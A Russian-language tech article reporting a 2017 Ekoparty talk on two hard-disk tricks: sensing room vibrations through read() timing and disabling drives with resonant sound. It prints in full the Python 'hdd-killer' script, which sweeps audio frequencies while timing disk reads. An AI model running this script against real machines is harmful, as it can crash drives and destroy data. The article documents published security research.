![](https://habrastorage.org/webt/59/e5/c0/59e5c0c89d05f091470307.jpeg)
На конференции по компьютерной безопасности Ekoparty 2017 в Буэнос-Айресе аргентинский хакер Альфредо Ортега (Alfredo Ortega) показал очень интересную разработку — систему скрытой прослушки помещений без использования микрофона. Звук записывается непосредственно жёстким диском!
HDD улавливает, в основном, низкочастотные звуки высокой интенсивности, шаги и другие вибрации. Человеческую речь распознать пока нельзя, хотя учёные ведут исследования в этом направлении (распознавание речи по низкочастотным вибрациям, которые снимаются, например, с гироскопа или HDD).
Звук — это колебания воздуха или другой среды. Человек воспринимает их через барабанную перепонку, которая передаёт колебания во внутреннее ухо. Микрофон устроен примерно как ухо — здесь тоже колебания регистрируются тонкой мембраной, которая возбуждает электрический импульс. Жёсткий диск, разумеется, тоже подвержен микроскопическим вибрациям из-за колебаний окружающего воздуха. Это известно даже по техническим характеристикам HDD: производители обычно указывают максимально допустимый уровень вибраций, а сам жёсткий диск часто стараются поместить в защищённый от вибраций контейнер из резины или другого изоляционного материала. Из этого легко сделать вывод, что с помощью HDD можно регистрировать звуки. Осталось только придумать, как.
Альфредо Ортега предложил своеобразный вариант атаки по сторонним каналам (side-channel attack), а именно атаки по времени. Эта атака основана на предположении, что различные операции выполняются в устройстве за различное время, в зависимости от поданных входных данных. В данном случае «входными данными» являются колебания считывающей головки и пластины HDD, которые коррелируют с вибрациями среды, то есть со звуком. Таким образом, измеряя время вычислений и проводя статистический анализ данных, можно измерить колебания головки/пластины и, следовательно, вибрации среды. Чем больше задержка в считывании данных — тем сильнее колебания HDD и, значит, тем громче звук.
Как измерить колебания жёсткого диска? Очень просто: достаточно всего лишь запустить системный вызов
read ()
— и зарегистрировать время, за которое он выполняется. Современные операционные системы позволяют считывать тайминг системных вызовов с точностью до наносекунды.Скорость чтения информации с сектора зависит от положения головки и пластины, которое коррелирует с вибрациями корпуса HDD. Вот и всё.
Статистический анализ осуществляется с помощью простенькой утилиты Kscope. Как говорится, всё гениальное просто.
![](https://habrastorage.org/webt/59/e5/c0/59e5c0c8f0bea536802423.png)
Утилита Kscope (stat () syscall)
Kscope — маленькая утилита для визуализации крохотный различий во времени выполнения системных вызовов. Исходный кодопубликован на GitHub.
В отдельном репозитории hdd-time лежит версия утилиты, настроенная на атаку по времени на жёсткий диск, то есть настроенная на анализ системного вызова
read ()
. Демонстрация звукозаписи с помощью HDD, работа утилиты Kscope
Конечно же, речь нельзя разобрать таким способом, но в качестве датчика вибраций HDD вполне сгодится. Например, вы можете регистрировать, если в помещение с компьютером зашёл человек в твёрдой обуви или босиком (вероятно, если злоумышленник обут в мягкие кроссовки или на полу постелен толстый ковёр, то HDD не сможет зарегистрировать вибрации — это стоит проверить). Компьютер способен зарегистрировать разбитое стекло или другое происшествие с сильной интенсивностью звука. То есть жёсткий диск может выполнять роль своеобразной системы обнаружения несанкционированных проникновений.
HDD-киллер
Кстати, схожую технику можно использовать для выведения из строя жёстких дисков. Только здесь мы не снимаем колебания с HDD, а наоборот — генерируем колебания, которые подаются на HDD. Если воспроизводить с колонки звук на частоте, которая резонирует с частотой HDD, то система вскоре отключает устройство с ошибкой ввода-вывода (ядро Linux полностью отключает HDD через 120 секунд). Сам жёсткий диск может получить необратимые повреждения.
![](https://habrastorage.org/webt/59/e5/c8/59e5c88420834041445391.jpeg)
Ядро Linux отключило жёсткий диск после 120 секунд подачи звука на резонирующей частоте через динамик USB-колонки Edifier r19u. Динамик включен примерно на четверть мощности (менее 100 мВт) и располагается в 20 см от HDD, направлен на стол для усиления вибраций. Кадр из видеоролика с демонстрацией работы HDD-киллера
Любопытно, что такие «атаки» на HDD иногда происходят совершенно случайно в обычной жизни. Например, в сентябре 2016 года дата-центр ING Bank был вынужден приостановить работу на 10 часов после пожарных учений. Десятки жёстких дисков вышли из строя из-за громкого звука инертного газа, выпускаемого из баллонов под большим давлением. Звук был очень громким (более 130 дБ), а ведь даже кричать на жёсткие диски нельзя — это увеличивает задержку доступа к HDD.
Демонстрация человеческого крика на жёсткие диски в дата-центре. Измерение задержки
Для генерации резонирующего звука Альфредо Ортега написал питоновский скрипт под названием hdd-killer (демонстрация на видео).
Скрипт HDD-киллера совсем небольшой так что можно его целиком опубликовать здесь.
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.\n\n" +\
"The disk will be opened as read-only.\n" + \
"Warning: It might cause damage to HDD.\n" +\
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()